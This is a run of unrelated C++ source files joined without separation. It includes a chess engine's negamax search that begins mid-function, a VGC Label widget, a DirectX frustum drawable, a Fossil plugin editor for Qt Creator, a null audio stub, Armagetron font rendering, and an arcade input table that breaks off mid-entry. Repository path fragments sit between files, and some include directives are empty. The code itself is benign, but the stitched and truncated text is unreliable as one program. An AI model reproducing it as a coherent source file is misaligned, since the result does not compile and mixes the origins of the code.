pos; for ( int x = 0; x < 8; x ++ ) for ( int y = 0; y < 8; y ++ ) { int p = slot( a, x, y ); if ( p % 2 == a.to_move ) { switch ( p / 2 ) { case Pawn: move_pawn( a, x, y, pos ); break; case Knight: move_piece( a, x, y, knight_dx, knight_dy, 4, 0, pos ); break; case Bishop: move_piece( a, x, y, line_dx, line_dy, 4, 1, pos ); break; case Rook: move_piece( a, x, y, line_dx + 4, line_dy + 4, 4, 1, pos ); break; case Queen: move_piece( a, x, y, line_dx, line_dy, 8, 1, pos ); break; case King: move_piece( a, x, y, line_dx, line_dy, 8, 0, pos ); break; } } } return pos; } static inline void move_piece( const Table& a, int x, int y, const int* p_dx, const int* p_dy, int n, bool mul, vector
&v ) { const int p = slot( a, x, y ); for ( int i = 0; i < n; i ++ ) { const int &dx = p_dx[i]; const int &dy = p_dy[i]; int newX = x + dx; int newY = y + dy; if ( mul ) { while ( 0 <= newX && newX < 8 && 0 <= newY && newY < 8 && slot( a, newX, newY ) == Free ) { Table t = a; pop( t, x, y ); push( t, p, newX, newY ); toggle( t ); v.push_back( t ); newX += dx; newY += dy; } if ( 0 <= newX && newX < 8 && 0 <= newY && newY < 8 && ( slot( a, newX, newY ) & 1 ) != ( p & 1 ) ) { Table t = a; pop( t, x, y ); push( t, p, newX, newY ); toggle( t ); v.push_back( t ); } } else { if ( 0 <= newX && newX < 8 && 0 <= newY && newY < 8 && ( slot( a, newX, newY ) == Free || ( slot( a, newX, newY ) & 1 ) != ( p & 1 ) ) ) { Table t = a; pop( t, x, y ); push( t, p, newX, newY ); toggle( t ); v.push_back( t ); } } } } static inline void move_pawn( const Table& a, int x, int y, vector
&v ) { int p = slot( a, x, y ); int newX = x + ( ( p % 2 ) ? 1 : -1 ); int newP = ( ( newX == 0 || newX == 7 ) ? ( Queen * 2 + p % 2 ) : p ); if ( slot( a, newX, y ) == Free ) { Table t = a; pop( t, x, y ); push( t, newP, newX, y ); toggle( t ); v.push_back( t ); } for ( int newY = y - 1; newY <= y + 1; newY += 2 ) if ( newY >= 0 && newY < 8 && slot( a, newX, newY ) != Free && slot( a, newX, newY ) % 2 != newP % 2 ) { Table t = a; pop( t, x, y ); push( t, newP, newX, newY ); toggle( t ); v.push_back( t ); } } static inline bool isCheck( const Table& a ) { int x = a.king_x[a.to_move]; int y = a.king_y[a.to_move]; for ( int i = 0; i < 8; i ++ ) { int newX = x + knight_dx[i]; int newY = y + knight_dy[i]; if ( 0 <= newX && newX < 8 && 0 <= newY && newY < 8 && ( slot( a, newX, newY ) == Knight * 2 + !a.to_move ) ) return true; } for ( int i = 0; i < 4; i ++ ) { const int &dx = line_dx[4 + i]; const int &dy = line_dy[4 + i]; int newX = x + dx; int newY = y + dy; while ( 0 <= newX && newX < 8 && 0 <= newY && newY < 8 && slot( a, newX, newY ) == Free ) { newX += dx; newY += dy; } if ( 0 <= newX && newX < 8 && 0 <= newY && newY < 8 && ( slot( a, newX, newY ) == Rook * 2 + !a.to_move || slot( a, newX, newY ) == Queen * 2 + !a.to_move ) ) { return true; } } for ( int i = 0; i < 4; i ++ ) { const int &dx = line_dx[i]; const int &dy = line_dy[i]; int newX = x + dx; int newY = y + dy; while ( 0 <= newX && newX < 8 && 0 <= newY && newY < 8 && slot( a, newX, newY ) == Free ) { newX += dx; newY += dy; } if ( 0 <= newX && newX < 8 && 0 <= newY && newY < 8 && ( slot( a, newX, newY ) == Bishop * 2 + !a.to_move || slot( a, newX, newY ) == Queen * 2 + !a.to_move ) ) { return true; } } return false; } struct Move { int score; Table t; Move( int a, Table b ) { score = a; t = b; } inline bool operator<( const Move& b ) const { return this->score > b.score; } }; inline bool cmp_table( const Table& a, const Table& b ) { return a.score < b.score; } static inline int negamax( int d, Table &t, int alpha, int beta ) { if ( isCheckMate( t ) ) return lost - d; if ( d == 0 ) return eval( t ); else if ( d == 1 ) { /// Futility Pruning if ( !isCheck( t ) && eval( t ) + Futility <= alpha ) return alpha; bool any_valid_move = false; vector
aux = next_move( t ); for ( int i = 0; i < aux.size(); i ++ ) { Table &m = aux[i]; toggle( m ); if ( isCheck( m ) ) continue; toggle( m ); any_valid_move = true; alpha = max( alpha, -negamax( 0, m, alpha, beta ) ); if ( beta <= alpha ) return alpha; } if ( !any_valid_move ) return draw; return alpha; } else { /// Deep Futility Pruning if ( d == 2 && !isCheck( t ) && eval( t ) + DeepFutility <= alpha ) return alpha; vector
next_moves; vector
aux = next_move( t ); for ( int i = 0; i < aux.size(); i ++ ) { Table &m = aux[i]; toggle( m ); if ( isCheck( m ) ) continue; toggle( m ); next_moves.push_back( m ); } if ( !next_moves.size() ) return draw; sort( next_moves.begin(), next_moves.end(), cmp_table ); for ( int i = 0; i < next_moves.size(); i ++ ) { Table &m = next_moves[i]; alpha = max( alpha, -negamax( d - 1, m, -beta, -alpha ) ); if ( beta <= alpha ) return alpha; } return alpha; } } template void print_table( Table& best, T& out ) { char dconv[8] = { '_', 'P', 'N', 'B', 'R', 'Q', 'K' }; for ( int x = 0; x < 8; x ++ ) { for ( int y = 0; y < 8; y ++ ) { int p = slot( best, x, y ); out << dconv[p / 2] << p%2 << ' '; } out << endl; } out << endl; } int main() { Table t = new_table(); t.to_move = my_color; int conv[128]; conv['_'] = 0; conv['P'] = Pawn; conv['N'] = Knight; conv['B'] = Bishop; conv['R'] = Rook; conv['Q'] = Queen; conv['K'] = King; ifstream fin( "table.in" ); for ( int x = 0; x < 8; x ++ ) { for ( int y = 0; y < 8; y ++ ) { string str; fin >> str; push( t, conv[str[0]] * 2 + str[1] - '0', x, y ); } } fin.close(); Move best_move( 0, new_table() ); vector layer; vector
aux; int d = 0; while ( d < Depth ) { int alpha = -100000000; int beta = 100000000; if ( d == 0 ) aux = next_move( t ); else { aux.clear(); for ( int i = 0; i < layer.size(); i ++ ) aux.push_back( layer[i].t ); } layer.clear(); for ( int i = 0; i < aux.size(); i ++ ) { Table &m = aux[i]; toggle( m ); if ( isCheck( m ) ) continue; toggle( m ); int f = -negamax( d, m, -beta, -alpha ); if ( f > alpha ) alpha = f; layer.push_back( Move( f, m ) ); } sort( layer.begin(), layer.end() ); best_move = layer[0]; cout << "Depth " << ++ d << " done in " << clock() / 1000.0 << " : " << best_move.score << endl; } ofstream fout( "table.out" ); print_table( best_move.t, fout ); fout.close(); return 0; } // Copyright 2020 The VGC Developers // See the COPYRIGHT file at the top-level directory of this distribution // and at https://github.com/vgc/vgc/blob/master/COPYRIGHT // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include #include #include #include #include namespace vgc { namespace ui { Label::Label() : Widget(), text_(""), trianglesId_(-1), reload_(true) { } Label::Label(const std::string& text) : Widget(), text_(text), trianglesId_(-1), reload_(true) { } /* static */ LabelPtr Label::create() { return LabelPtr(new Label()); } /* static */ LabelPtr Label::create(const std::string& text) { return LabelPtr(new Label(text)); } void Label::setText(const std::string& text) { if (text_ != text) { text_ = text; reload_ = true; repaint(); } } void Label::onPaintCreate(graphics::Engine* engine) { trianglesId_ = engine->createTriangles(); } namespace { void insertRect( core::FloatArray& a, const core::Color& c, float x1, float y1, float x2, float y2) { float r = static_cast(c[0]); float g = static_cast(c[1]); float b = static_cast(c[2]); a.insert(a.end(), { x1, y1, r, g, b, x2, y1, r, g, b, x1, y2, r, g, b, x2, y1, r, g, b, x2, y2, r, g, b, x1, y2, r, g, b}); } } // namespace void Label::onPaintDraw(graphics::Engine* engine) { if (reload_) { reload_ = false; core::FloatArray a; // Convert text to triangles if (text_.length() > 0) { // Get FontFace. // TODO: we should use a persistent font library rather than // creating a new one each time std::string facePath = core::resourcePath("graphics/fonts/SourceSansPro/TTF/SourceSansPro-Regular.ttf"); graphics::FontLibraryPtr fontLibrary = graphics::FontLibrary::create(); graphics::FontFace* fontFace = fontLibrary->addFace(facePath); // XXX can this be nullptr? float baseline = static_cast(fontFace->height()); // Draw rectangles to visualize font metrics //insertRect(a, core::colors::black, 0, 0, width(), baseline); //insertRect(a, core::colors::blue, 0, baseline, width(), 2* baseline); // Shape and triangulate text core::DoubleArray b; for (const graphics::FontItem& shape : fontFace->shape(text_)) { float xoffset = shape.offset()[0]; float yoffset = shape.offset()[1]; b.clear(); shape.glyph()->outline().fill(b); for (Int i = 0; 2*i+1 < b.length(); ++i) { a.insert(a.end(), { xoffset + static_cast(b[2*i]), baseline - (yoffset + static_cast(b[2*i+1])), 0.9, 0.9, 0.9}); } } } // Load triangles engine->loadTriangles(trianglesId_, a.data(), a.length()); } engine->clear(core::Color(0.337, 0.345, 0.353)); engine->drawTriangles(trianglesId_); } void Label::onPaintDestroy(graphics::Engine* engine) { engine->destroyTriangles(trianglesId_); } } // namespace ui } // namespace vgc 1-10 #include "Frustum.h" #include "BindableCommon.h" #include "GraphicsThrowMacros.h" #include "Vertex.h" #include "Sphere.h" #include "Stencil.h" #include "Channels.h" namespace dx = DirectX; Frustum::Frustum( Graphics& gfx,float width,float height,float nearZ,float farZ ) { using namespace Bind; std::vector indices; { indices.push_back( 0 ); indices.push_back( 1 ); indices.push_back( 1 ); indices.push_back( 2 ); indices.push_back( 2 ); indices.push_back( 3 ); indices.push_back( 3 ); indices.push_back( 0 ); indices.push_back( 4 ); indices.push_back( 5 ); indices.push_back( 5 ); indices.push_back( 6 ); indices.push_back( 6 ); indices.push_back( 7 ); indices.push_back( 7 ); indices.push_back( 4 ); indices.push_back( 0 ); indices.push_back( 4 ); indices.push_back( 1 ); indices.push_back( 5 ); indices.push_back( 2 ); indices.push_back( 6 ); indices.push_back( 3 ); indices.push_back( 7 ); } SetVertices( gfx,width,height,nearZ,farZ ); pIndices = IndexBuffer::Resolve( gfx,"$frustum",indices ); pTopology = Topology::Resolve( gfx,D3D11_PRIMITIVE_TOPOLOGY_LINELIST ); { Technique line{ n_SherbRenderChannels::main }; { Step unoccluded( "lambertian" ); auto pvs = VertexShader::Resolve( gfx,"Solid_VS.cso" ); unoccluded.AddBindable( InputLayout::Resolve( gfx,pVertices->GetLayout(),*pvs ) ); unoccluded.AddBindable( std::move( pvs ) ); unoccluded.AddBindable( PixelShader::Resolve( gfx,"Solid_PS.cso" ) ); struct PSColorConstant { dx::XMFLOAT3 color = { 0.6f,0.2f,0.2f }; float padding; } colorConst; unoccluded.AddBindable( PixelConstantBuffer::Resolve( gfx,colorConst,1u ) ); unoccluded.AddBindable( std::make_shared( gfx ) ); unoccluded.AddBindable( Rasterizer::Resolve( gfx,false ) ); line.AddStep( std::move( unoccluded ) ); } { Step occluded( "wireframe" ); auto pvs = VertexShader::Resolve( gfx,"Solid_VS.cso" ); occluded.AddBindable( InputLayout::Resolve( gfx,pVertices->GetLayout(),*pvs ) ); occluded.AddBindable( std::move( pvs ) ); occluded.AddBindable( PixelShader::Resolve( gfx,"Solid_PS.cso" ) ); struct PSColorConstant2 { dx::XMFLOAT3 color = { 0.25f,0.08f,0.08f }; float padding; } colorConst; occluded.AddBindable( PixelConstantBuffer::Resolve( gfx,colorConst,1u ) ); occluded.AddBindable( std::make_shared( gfx ) ); occluded.AddBindable( Rasterizer::Resolve( gfx,false ) ); line.AddStep( std::move( occluded ) ); } AddTechnique( std::move( line ) ); } } void Frustum::SetVertices( Graphics& gfx,float width,float height,float nearZ,float farZ ) { Dvtx::VertexLayout layout; layout.Append( Dvtx::VertexLayout::Position3D ); Dvtx::VertexBuffer vertices{ std::move( layout ) }; { const float zRatio = farZ / nearZ; const float nearX = width / 2.0f; const float nearY = height / 2.0f; const float farX = nearX * zRatio; const float farY = nearY * zRatio; vertices.EmplaceBack( dx::XMFLOAT3{ -nearX,nearY,nearZ } ); vertices.EmplaceBack( dx::XMFLOAT3{ nearX,nearY,nearZ } ); vertices.EmplaceBack( dx::XMFLOAT3{ nearX,-nearY,nearZ } ); vertices.EmplaceBack( dx::XMFLOAT3{ -nearX,-nearY,nearZ } ); vertices.EmplaceBack( dx::XMFLOAT3{ -farX,farY,farZ } ); vertices.EmplaceBack( dx::XMFLOAT3{ farX,farY,farZ } ); vertices.EmplaceBack( dx::XMFLOAT3{ farX,-farY,farZ } ); vertices.EmplaceBack( dx::XMFLOAT3{ -farX,-farY,farZ } ); } pVertices = std::make_shared( gfx,vertices ); } void Frustum::SetPos( DirectX::XMFLOAT3 pos ) noexcept { this->pos = pos; } void Frustum::SetRotation( DirectX::XMFLOAT3 rot ) noexcept { this->rot = rot; } DirectX::XMMATRIX Frustum::GetTransformXM() const noexcept { return dx::XMMatrixRotationRollPitchYawFromVector( dx::XMLoadFloat3( &rot ) ) * dx::XMMatrixTranslationFromVector( dx::XMLoadFloat3( &pos ) ); }nomadbyte/qtcreator-plugin-fossilsrc/plugins/fossil/fossileditor.cpp1-10 /************************************************************************** ** This file is part of Fossil VCS plugin for Qt Creator ** ** Copyright (c) 2013 - 2020, , <>. ** ** Based on Bazaar VCS plugin for Qt Creator by . ** ** Permission is hereby granted, free of charge, to any person obtaining a copy ** of this software and associated documentation files (the "Software"), to deal ** in the Software without restriction, including without limitation the rights ** to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ** copies of the Software, and to permit persons to whom the Software is ** furnished to do so, subject to the following conditions: ** ** The above copyright notice and this permission notice shall be included in ** all copies or substantial portions of the Software. ** ** THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ** IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ** FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ** AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ** LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ** OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN ** THE SOFTWARE. **************************************************************************/ #include "fossileditor.h" #include "annotationhighlighter.h" #include "constants.h" #include "fossilplugin.h" #include "fossilclient.h" #include #include #include #include #include #include #include #include #include #include #include namespace Fossil { namespace Internal { class FossilEditorWidgetPrivate { public: FossilEditorWidgetPrivate() : m_exactChangesetId(Constants::CHANGESET_ID_EXACT) { QTC_ASSERT(m_exactChangesetId.isValid(), return); } const QRegularExpression m_exactChangesetId; }; FossilEditorWidget::FossilEditorWidget() : d(new FossilEditorWidgetPrivate) { setAnnotateRevisionTextFormat(tr("&Annotate %1")); setAnnotatePreviousRevisionTextFormat(tr("Annotate &Parent Revision %1")); setDiffFilePattern(Constants::DIFFFILE_ID_EXACT); setLogEntryPattern("^.*\\[([0-9a-f]{5,40})\\]"); setAnnotationEntryPattern(QString("^") + Constants::CHANGESET_ID + " "); } FossilEditorWidget::~FossilEditorWidget() { delete d; } QString FossilEditorWidget::changeUnderCursor(const QTextCursor &cursorIn) const { QTextCursor cursor = cursorIn; cursor.select(QTextCursor::WordUnderCursor); if (cursor.hasSelection()) { const QString change = cursor.selectedText(); QRegularExpressionMatch exactChangesetIdMatch = d->m_exactChangesetId.match(change); if (exactChangesetIdMatch.hasMatch()) return change; } return QString(); } QString FossilEditorWidget::decorateVersion(const QString &revision) const { static const int shortChangesetIdSize(10); static const int maxTextSize(120); const QFileInfo fi(source()); const QString workingDirectory = fi.absolutePath(); const FossilClient *client = FossilPlugin::client(); RevisionInfo revisionInfo = client->synchronousRevisionQuery(workingDirectory, revision, true); // format: 'revision (committer "comment...")' QString output = revision.left(shortChangesetIdSize) + " (" + revisionInfo.committer + " \"" + revisionInfo.commentMsg.left(maxTextSize); if (output.size() > maxTextSize) { output.truncate(maxTextSize - 3); output.append("..."); } output.append("\")"); return output; } QStringList FossilEditorWidget::annotationPreviousVersions(const QString &revision) const { QStringList revisions; const QFileInfo fi(source()); const QString workingDirectory = fi.absolutePath(); const FossilClient *client = FossilPlugin::client(); RevisionInfo revisionInfo = client->synchronousRevisionQuery(workingDirectory, revision); if (revisionInfo.parentId.isEmpty()) return QStringList(); revisions.append(revisionInfo.parentId); revisions.append(revisionInfo.mergeParentIds); return revisions; } VcsBase::BaseAnnotationHighlighter *FossilEditorWidget::createAnnotationHighlighter( const QSet &changes) const { return new FossilAnnotationHighlighter(changes); } } // namespace Internal } // namespace Fossil SMB3_v2_C++/assets/classes/audio/NullAudio.cpp1-10 #include #include "Audio.h" #include "NullAudio.h" void NullAudio::Initialize() { OutputDebugStringA("[NULL AUDIO] Fallback, no sound\n"); } void NullAudio::PlayAudio(AudioType, bool, float, float) { OutputDebugStringA("[NULL AUDIO] Fallback, no sound\n"); } void NullAudio::PauseAudio(AudioType) { OutputDebugStringA("[NULL AUDIO] Fallback, no sound\n"); } void NullAudio::StopAudio(AudioType) { OutputDebugStringA("[NULL AUDIO] Fallback, no sound\n"); } void NullAudio::StopAll() { OutputDebugStringA("[NULL AUDIO] Fallback, no sound\n"); } void NullAudio::Release() { OutputDebugStringA("[NULL AUDIO] Fallback, no sound\n"); }bennofs/autoconf2nix /* ************************************************************************* ArmageTron -- Just another Tron Lightcycle Game in 3D. Copyright (C) 2000 () ************************************************************************** This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *************************************************************************** */ #include "rFont.h" #include "rScreen.h" #include "tConfiguration.h" #include "tColor.h" #include #ifndef DEDICATED #include "rRender.h" //#include //#include #endif /* #include "nConfig.h" tString lala_font_extra("Anonymous/original/textures/font_extra.png"); static nSettingItem lalala_font_extra("TEXTURE_FONT_EXTRA", lala_font_extra); static rFont sr_lowerPartFont(lala_font_extra); static rFont sr_lowerPartFont("Anonymous/original/textures/font_extra.png"); tString lala_defaultFont("Anonymous/original/textures/font.png"); static nSettingItem lalala_defaultFont("TEXTURE_DEFAULT_FONT", lala_defaultFont); rFont rFont::s_defaultFont(lala_defaultFont, &sr_lowerPartFont); rFont rFont::s_defaultFont("Anonymous/original/textures/font.png", &sr_lowerPartFont); tString lala_defaultFontSmall("Anonymous/original/textures/font_s.png"); static nSettingItem lalala_defaultFontSmall("TEXTURE_DEFAULT_FONT_SMALL", lala_defaultFontSmall); rFont rFont::s_defaultFontSmall(lala_defaultFontSmall, 32,5/128.0,9/128.0,1/128.0); rFont rFont::s_defaultFontSmall("Anonymous/original/textures/font_s.png", 32,5/128.0,9/128.0,1/128.0); */ #ifndef DEDICATED //! like strnlen, but that's nonstandard :-( static size_t my_strnlen(char const *c, size_t i) { char const *begin = c; char const *end = c + i; for(; *c && c != end; ++c) ; return c - begin; } #endif static rFont sr_lowerPartFont("textures/font_extra.png"); rFont rFont::s_defaultFont("textures/font.png", &sr_lowerPartFont); rFont rFont::s_defaultFontSmall("textures/font_s.png",32,5/128.0,9/128.0,1/128.0); //rFont rFont::s_defaultFontSmall("textures/Font.png",0,16/256.0,32/256.0); //rFont rFont::s_defaultFontSmall("textures/Font.png",0,1/16.0,1/8.0); rFont::rFont(const char *fileName,int Offset,REAL CWidth,REAL CHeight,REAL op, rFont *lower): rFileTexture(rTextureGroups::TEX_FONT,fileName,0,0), offset(Offset),cwidth(CWidth),cheight(CHeight), onepixel(op),lowerPart(lower) { StoreAlpha(); } rFont::rFont(const char *fileName, rFont *lower): rFileTexture(rTextureGroups::TEX_FONT,fileName,0,0), offset(0),cwidth(1/16.0),cheight(1/8.0), onepixel(1/256.0),lowerPart(lower) { StoreAlpha(); } rFont::~rFont(){} // ****************************************************************************************** // * // * ProcessImage // * // ****************************************************************************************** //! //! @param surface the surface to process //! // ****************************************************************************************** void rFont::ProcessImage( SDL_Surface * surface ) { #ifndef DEDICATED if ( sr_alphaBlend ) return; // pre-blend alpha values GLubyte *pixels =reinterpret_cast(surface->pixels); if (surface->format->BytesPerPixel == 4) { for (int i=surface->w*surface->h-1;i>=0;i--){ GLubyte alpha=pixels[4*i+3]; pixels[4*i ] = (alpha * pixels[4*i ]) >> 8; pixels[4*i+1] = (alpha * pixels[4*i+1]) >> 8; pixels[4*i+2] = (alpha * pixels[4*i+2]) >> 8; } } else if (surface->format->BytesPerPixel == 2) { for (int i=surface->w*surface->h-1;i>=0;i--){ GLubyte alpha=pixels[2*i+1]; pixels[2*i ] = (alpha * pixels[2*i ]) >> 8; } } #endif } void rFont::OnSelect( bool enforce ) { rISurfaceTexture::OnSelect( enforce ); if ( !Loaded() && sr_glOut ) { // abort. It makes no sense to continue without a font. tERR_ERROR( "Font file " << this->GetFileName() << " could not be loaded."); } } // displays c #ifndef DEDICATED static rFont * sr_lastSelected = 0; void rFont::Render(unsigned char c,REAL left,REAL top,REAL right,REAL bot){ // if (c > 128 && this == &rFont::s_defaultFont) //rFont::s_defaultFontSmall.Render(c, left, top, right, bot); // else // if(31c && sr_glOut) { c-=offset; int x=c%16; int y=c/16; REAL pix = onepixel *.1; if (rTextureGroups::TextureMode[rTextureGroups::TEX_FONT] != GL_NEAREST && rTextureGroups::TextureMode[rTextureGroups::TEX_FONT] != GL_NEAREST_MIPMAP_NEAREST) pix = onepixel * .5; REAL ttop=y*cheight+pix; REAL tbot=(y+1)*cheight-pix; REAL tleft=x*cwidth+pix; REAL tright=(x+1)*cwidth-pix; rFont* select = this; while (ttop > .999 && select->lowerPart) { tbot -= 1; ttop -= 1; select = select->lowerPart; } if ( sr_lastSelected != select ) { RenderEnd(true); select->Select(true); sr_lastSelected = select; } BeginQuads(); glTexCoord2f(tright,tbot); glVertex2f( right, bot); glTexCoord2f(tright,ttop); glVertex2f( right ,top); glTexCoord2f(tleft,ttop); glVertex2f( left, top); glTexCoord2f(tleft,tbot); glVertex2f( left, bot); } } #endif // ************************************************** static REAL sr_bigFontThresholdWidth = 12; static REAL sr_bigFontThresholdHeight = 24; static tSettingItem< REAL > sr_bigFontThresholdWidthConf( "FONT_BIG_THRESHOLD_WIDTH", sr_bigFontThresholdWidth ); static tSettingItem< REAL > sr_bigFontThresholdHeightConf( "FONT_BIG_THRESHOLD_HEIGHT", sr_bigFontThresholdHeight ); static REAL sr_smallFontThresholdWidth = 5; static REAL sr_smallFontThresholdHeight = 8; static tSettingItem< REAL > sr_smallFontThresholdWidthConf( "FONT_SMALL_THRESHOLD_WIDTH", sr_smallFontThresholdWidth ); static tSettingItem< REAL > sr_smallFontThresholdHeightConf( "FONT_SMALL_THRESHOLD_HEIGHT", sr_smallFontThresholdHeight ); rTextField::rTextField(REAL Left,REAL Top, REAL Cwidth,REAL Cheight, rFont *f) :parIndent(0), left(Left),top(Top),cwidth(Cwidth),cheight(Cheight), F(f),x(0),y(0),realx(0),cursor(0),cursorPos(0){ if ( cwidth*sr_screenWidth < sr_bigFontThresholdWidth*2 || cheight*sr_screenHeight < sr_bigFontThresholdHeight*2 ) F=&rFont::s_defaultFontSmall; if (cwidth*sr_screenWidth 0 ) { RenderEnd(true); glColor4f(r * blendColor_.r_,g * blendColor_.g_,b * blendColor_.b_,a * blendColor_.a_); sr_lastSelected = 0; } for (i=0;i<=len;i++){ REAL l=left+realx*cwidth; REAL t=top-y*cheight; if (0 <= cursorPos--){ cursor_x=l; cursor_y=t; } if (iRender(buffer[realx],l,t,l+cwidth,t-cheight); realx++; } } } #endif /* for(i=0;i=width) { // overflow! insert newline int i=x-1; while (!isspace(buffer(i)) && i>0) i--; bool force=false; if (x-i>=width-parIndent){ i=x; force=true; } FlushLine(i-realx); if (force) cursorPos++; for(int j=0;j=0) cursorPos+=parIndent; } return *this; } */ rTextField & rTextField::StringOutput(const char * c, ColorMode colorMode ) { #ifndef DEDICATED // run through string while (*c!='\0') { // break line if next space character is too far away if ( isblank(*c) ) { // count number of nonblank characters following char const * nextSpace = c+1; int wordLen = 0; while ( *nextSpace != '\0' && *nextSpace != '\n' && !isblank(*nextSpace) ) { if (*nextSpace=='0' && my_strnlen(nextSpace, 8)>=8 && nextSpace[1]=='x' && colorMode != COLOR_IGNORE ) { // skip color code nextSpace += 8; } else { // count letter nextSpace++; wordLen++; } } // see if the word plus the space fit into the current line if ( wordLen + x + 1 >= width ) { // no. Skip to the next line WriteChar('\n'); c++; for ( int i = parIndent-1; i >= 0; --i ) { WriteChar(' '); cursorPos++; } continue; } } // linebreak if line has gotten too long anyway if ( x >= width ) { WriteChar('\n'); cursorPos += 1; } // detect presence of color code if (*c=='0' && my_strnlen(c, 8)>=8 && c[1]=='x' && colorMode != COLOR_IGNORE ) { tColor color; bool use = false; if ( 0 ==strncmp(c,"0xRESETT",8) ) { // color reset to default requested color = defaultColor_; use = true; } else { // found! extract colors cursorPos-=8; color = tColor( c ); use = true; } // advance if ( colorMode == COLOR_USE ) { c+=8; } else { // write color code out cursorPos+=8; for(int i=7; i>=0;--i) WriteChar(*(c++)); } // apply color if ( use ) { FlushLine(false); cursorPos++; color_ = color; } } else // normal operation: add char WriteChar(*(c++)); } RenderEnd( true ); #endif return *this; } void DisplayText(REAL x,REAL y,REAL w,REAL h,const char *text,int center,int cursor,int cursorPos, rTextField::ColorMode colorMode ){ int colorlen = strlen(text); if ( colorMode == rTextField::COLOR_USE ) { for(char const *c = text; *c != 0; ++c) { if(*c == '0' && c[1] == 'x') colorlen -= 8; } } // calculate top position so that does not move when we shrink the font REAL top = y + h*.5; // shrink fields that don't fit the screen REAL availw = 1.9f; if (center < 0) availw = (.9f-x); if (center > 0) availw = (x + .9f); if ( colorlen * w > availw ) { h *= availw/(colorlen * w); w = availw/REAL(colorlen); } rTextField c(x-(center+1)*colorlen*.5*w,y+h*.5,w,h); if (center==-1) c.SetWidth(int((.95-x)/c.GetCWidth())); else c.SetWidth(10000); // did the text field enlarge the font? If yes, there will be wrapping; better make some more room if ( c.GetWidth() < colorlen ) { c.SetTop( top ); } c.SetIndent(5); if (cursor) c.SetCursor(cursor,cursorPos); c.StringOutput(text, colorMode ); } // ******************************************************************************************* // * // * GetDefaultColor // * // ******************************************************************************************* //! //! @return default color //! // ******************************************************************************************* tColor const & rTextField::GetDefaultColor( void ) { return defaultColor_; } // ******************************************************************************************* // * // * GetDefaultColor // * // ******************************************************************************************* //! //! @param defaultColor default color to fill //! // ******************************************************************************************* void rTextField::GetDefaultColor( tColor & defaultColor ) { defaultColor = defaultColor_; } // ******************************************************************************************* // * // * SetDefaultColor // * // ******************************************************************************************* //! //! @param defaultColor default color to set //! // ******************************************************************************************* void rTextField::SetDefaultColor( tColor const & defaultColor ) { defaultColor_ = defaultColor; if ( !sr_alphaBlend ) { defaultColor_.r_ *= defaultColor_.a_; defaultColor_.g_ *= defaultColor_.a_; defaultColor_.b_ *= defaultColor_.a_; defaultColor_.a_ = 1; } blendColor_ = tColor(); } // ******************************************************************************************* // * // * GetBlendColor // * // ******************************************************************************************* //! //! @return color all other colors are multiplied with //! // ******************************************************************************************* tColor const & rTextField::GetBlendColor( void ) { return blendColor_; } // ******************************************************************************************* // * // * GetBlendColor // * // ******************************************************************************************* //! //! @param blendColor color all other colors are multiplied with to fill //! // ******************************************************************************************* void rTextField::GetBlendColor( tColor & blendColor ) { blendColor = blendColor_; } // ******************************************************************************************* // * // * SetBlendColor // * // ******************************************************************************************* //! //! @param blendColor color all other colors are multiplied with to set //! // ******************************************************************************************* void rTextField::SetBlendColor( tColor const & blendColor ) { blendColor_ = blendColor; if ( !sr_alphaBlend ) { blendColor_.r_ *= blendColor_.a_; blendColor_.g_ *= blendColor_.a_; blendColor_.b_ *= blendColor_.a_; blendColor_.a_ = 1; } } tColor rTextField::defaultColor_; tColor rTextField::blendColor_; // Magic Sword #include "cps.h" static struct BurnInputInfo DrvInputList[] = { {"P1 Coin" , BIT_DIGITAL, CpsInp018+0, "p1 coin"}, {"P1 Start" , BIT_DIGITAL, CpsInp018+4, "p1 start"}, {"P1 Up" , BIT_DIGITAL, CpsInp001+3, "p1 up"}, {"P1 Down" , BIT_DIGITAL, CpsInp001+2, "p1 down"}, {"P1 Left" , BIT_DIGITAL, CpsInp001+1, "p1 left"}, {"P1 Right" , BIT_DIGITAL, CpsInp001+0, "p1 right"}, {"P1 Attack" , BIT_DIGITAL, CpsInp001+4, "p1 fire 1"}, {"P1 Jump" , BIT_DIGITAL, CpsInp001+5, "p1 fire 2"}, {"P1 Fire 3" , BIT_DIGITAL, CpsInp001+6, "p1 fire 3"}, {"P2 Coin" , BIT_DIGITAL, CpsInp018+1, "p2 coin"}, {"P2 Start" , BIT_DIGITAL, CpsInp018+5, "p2 start"}, {"P2 Up" , BIT_DIGITAL, CpsInp000+3, "p2 up"}, {"P2 Down" , BIT_DIGITAL, CpsInp000+2, "p2 down"}, {"P2 Left" , BIT_DIGITAL, CpsInp000+1, "p2 left"}, {"P2 Right" , BIT_DIGITAL, CpsInp000+0, "p2 right"}, {"P2 Attack" , BIT_DIGITAL, CpsInp000+4, "p2 fire 1"}, {"P2 Jump" , BIT_DIGITAL, CpsInp000+5, "p2 fire 2"}, {"P2 Fire 3" , BIT_DIGITAL, CpsInp000+6, "p2 fire 3"}, {"Reset" , BIT_DIGITAL, &CpsReset, "reset"}, {"Diagnostic" , BIT_DIGITAL, CpsInp018+6, "diag"}, {"Service" , BIT_DIGITAL, CpsInp018+2, "service"}, {"Dip A" , BIT_DIPSWITCH, &Cpi01A , "dip"}, {"Dip B" , 